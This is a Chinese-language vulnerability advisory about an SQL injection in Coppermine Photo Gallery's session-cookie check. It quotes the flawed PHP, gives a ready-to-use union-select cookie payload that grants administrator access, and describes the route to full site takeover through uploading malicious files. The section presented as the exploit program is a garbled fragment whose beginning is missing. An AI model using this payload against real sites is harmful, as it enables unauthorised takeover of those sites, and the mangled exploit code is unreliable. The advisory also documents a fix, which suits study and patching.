漏洞说明:Coppermine Photo Gallery是一款php+mysql搭建的广泛使用的相册程序,但是在编码过程中的一个错误导致任意用户可以提交数据而控制整个站点。
漏洞厂商:http://coppermine-gallery.net/
漏洞发现:http://www.80sec.com
漏洞危害:高
漏洞来源:http://www.80sec.com/release/Coppermine-Photo-Gallery-exploit.txt
漏洞分析:
Coppermine Photo Gallery全局处理数据在include/init.inc.php中如下:
$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');
$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST');
if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!is_array($value))
$_COOKIE[$key] = stripslashes($value);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
} else {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get('register_globals') == '1') unset($$key);
}
}
}
可以看到对COOKIE中的数据没有做任何处理,然后在处理用户SESSION-COOKIE的地方/bridge/coppermine.inc.php
$sessioncookie = $_COOKIE[$this->client_id];
// Create the session id by concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;
......
// Check for valid session if session_cookie_value exists
if ($sessioncookie) {
// Check for valid session
$sql = 'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");';
对session_id的操作的md5是在SQL语句里的,所以可以轻易Bypass,分析数据库结果和认证机制可以得出exploit的COOKIE为:
")union/**/select/**/1/*
只要提交如上COOKIE就可以获得管理员身份,然后就可以上传恶意文件得到站点权限
漏洞利用:80sec提供漏洞利用程序如下:
";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="";
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}
?>
漏洞修复:将认证放到php中处理,即将上述问题语句改为
$sql = 'select user_id from '.$this->sessionstable." where session_id = '" . md5($session_id) . "'";